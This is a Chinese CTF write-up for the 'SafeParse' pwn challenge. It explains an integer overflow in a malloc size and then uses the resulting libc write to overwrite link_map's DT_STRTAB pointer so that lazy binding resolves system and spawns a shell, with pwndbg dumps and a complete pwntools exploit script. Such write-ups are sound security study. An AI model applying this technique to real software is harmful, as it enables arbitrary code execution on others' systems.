SafeParse
1 2 3 4 5 6 7
   | SafeParse: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb35942986f3f07abe813fd1a86be5920f5b6c7e, for GNU/Linux 3.2.0, stripped [*] '/home/yhellow/桌面/pwn_SafeParse/SafeParse'     Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      PIE enabled
   | 
 
漏洞分析
1 2
   | data_size = input_num(); chunk = (int *)malloc(4 * data_size);         
   | 
 
- 这里有一个整数溢出(这个漏洞点和初赛 newest_note 的非预期解很像)
 
直接让 data_size 为 0x40040000,就可以让这个存堆指针的堆申请到 libc 上面
1
   | void *malloc(size_t size);
   | 
 
- 注意:这里的 size_t 代表的是 unsorted int(4字节)
 
溢出过后,“data_size” 会特别大,但是 mmap 申请的 chunk 又比较小,以下的这个检查就形同虚设了:
1
   | if ( index >= data_size )
   | 
 
入侵思路
然后就可以实现 libc 任意写,由于没法 leak,我们只能打 _dl_runtime_resolve
DT_STRTAB 在 elf 中,由于没有泄露任何地址,目前是通过偏移进行任意地址写,这里找到 DT_DEBUG 这个表是指向 libc 地址(我们可以控制),可以通过改写最低位:
- 把 
link_map->l_info[DT_STRTAB] 低位覆盖为 link_map->l_info[DT_DEBUG] 这样程序就会误以为 DT_DEBUG 是 DT_STRTAB(这下放入 _dl_lookup_symbol_x 的第二个参数就会变成 DT_DEBUG) 
- 于是我们提前在 
DT_DEBUG+offset(原来是 DT_STRTAB+offset)的位置写上 system 
- 提前在 
chunk 中写入 /bin/sh 
- 最后在执行 
free(chunk) 时就会 get shell 
低位覆盖 link_map->l_info[DT_STRTAB],欺骗 _dl_fixup 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | pwndbg> telescope 0x7f3b00ba2000+0x324180+0x10 00:0000│ rsi r10 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— 0x10102464c457f 01:0008│         0x7f3b00ec6198 ◂— 0x6165720000ec6730 02:0010│         0x7f3b00ec61a0 ◂— 0x564f9b540064  03:0018│         0x7f3b00ec61a8 —▸ 0x7f3b00ec6740 —▸ 0x7ffe633fe000 ◂— jg     0x7ffe633fe047 04:0020│         0x7f3b00ec61b0 ◂— 0x0 05:0028│         0x7f3b00ec61b8 —▸ 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— 0x10102464c457f 06:0030│         0x7f3b00ec61c0 ◂— 0x0 07:0038│         0x7f3b00ec61c8 —▸ 0x7f3b00ec6718 —▸ 0x7f3b00ec6730 ◂— 0x0 pwndbg>  08:0040│       0x7f3b00ec61d0 ◂— 0x0 09:0048│       0x7f3b00ec61d8 —▸ 0x564f9b545de0 ◂— 0x1 0a:0050│       0x7f3b00ec61e0 —▸ 0x564f9b545ec0 ◂— 0x2 0b:0058│       0x7f3b00ec61e8 —▸ 0x564f9b545eb0 ◂— 0x3 0c:0060│ rdi-1 0x7f3b00ec61f0 ◂— 0x6d657473797300 0d:0068│       0x7f3b00ec61f8 —▸ 0x564f9b545ea0 ◂— 0x15  0e:0070│       0x7f3b00ec6200 —▸ 0x564f9b545e70 ◂— 0x6 0f:0078│       0x7f3b00ec6208 —▸ 0x564f9b545ef0 ◂— 0x7
   | 
 
_dl_fixup->_dl_lookup_symbol_x 执行前:
1 2 3 4 5 6 7 8 9
   | ► 0x7f3b00ea8192 <_dl_fixup+210>    call   _dl_lookup_symbol_x                <_dl_lookup_symbol_x>        rdi: 0x7f3b00ec61f1 ◂— 0xa0006d6574737973         rsi: 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— 0x10102464c457f        rdx: 0x7ffe633dbfa8 —▸ 0x564f9b547018 ◂— 0x1200000091        rcx: 0x7f3b00ec64f8 —▸ 0x7f3b00ec6450 —▸ 0x7f3b00e95590 —▸ 0x7f3b00ec6190 —▸ 0x564f9b542000 ◂— ...        r8: 0x7f3b00e955e0 —▸ 0x564f9b5480a0 ◂— 'GLIBC_2.2.5'        r9: 0x1        arg[6]: 0x1        arg[7]: 0x0
   | 
 
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
   | from pwn import *
  p=process("./SafeParse1") elf = ELF("./SafeParse1") libc = ELF("./libc-2.31.so")
  cmd = "b *$rebase(0x1620)\n"
 
 
  p.sendlineafter("Size: ",str(0x4000)) p.sendlineafter("Data Size: ",str(0x40040000))
  _IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_'] _IO_2_1_stdout_offset = _IO_2_1_stdout_+0x101000-0x10
  link_map_offset = 0x324190-0x10 r_debug_offset = 0x324160-0x10
  success("_IO_2_1_stdout_ >> "+hex(_IO_2_1_stdout_)) success("_IO_2_1_stdout_offset >> "+hex(_IO_2_1_stdout_offset)) success("link_map_offset >> "+hex(link_map_offset)) success("link_map_offset+0x40+5*0x8 >> "+hex(link_map_offset+0x40+5*0x8)) success("r_debug_offset >> "+hex(r_debug_offset)) success("free_hook >> "+hex(libc.sym["__free_hook"]))
 
 
 
 
 
  payload = ",>"*2+"<"*2
  payload +=">*>***>***>******>**>**>**" payload +=">"*36+",>"*2+"<"*38 payload +=">"*15+",>"*2+"<"*17
  payload +=">"*38+","+"."
 
  p.sendlineafter("Code: ",payload)
  p.sendafter("Secret Number: ","/bin") p.sendafter("Secret Number: ","/sh\x00")
  p.sendafter("Secret Number: ","\x00sys") p.sendafter("Secret Number: ","tem\x00")
  p.sendafter("Secret Number: ","\x00rea") p.sendafter("Secret Number: ","d\x00")
  p.sendafter("Secret Number: ","\xa0") p.sendafter("Guess the Number: ",str(1))
  p.interactive()
   | 
 
小结:
这个题我看着就像强网杯的 qwarmup,都是任意写 libc,然后打 _dl_runtime_resolve
当时猪脑过载了,就想用 qwarmup 的方法来套这个题,调了半天才发现这个题没有开沙盒,可以直接 get shell(唉)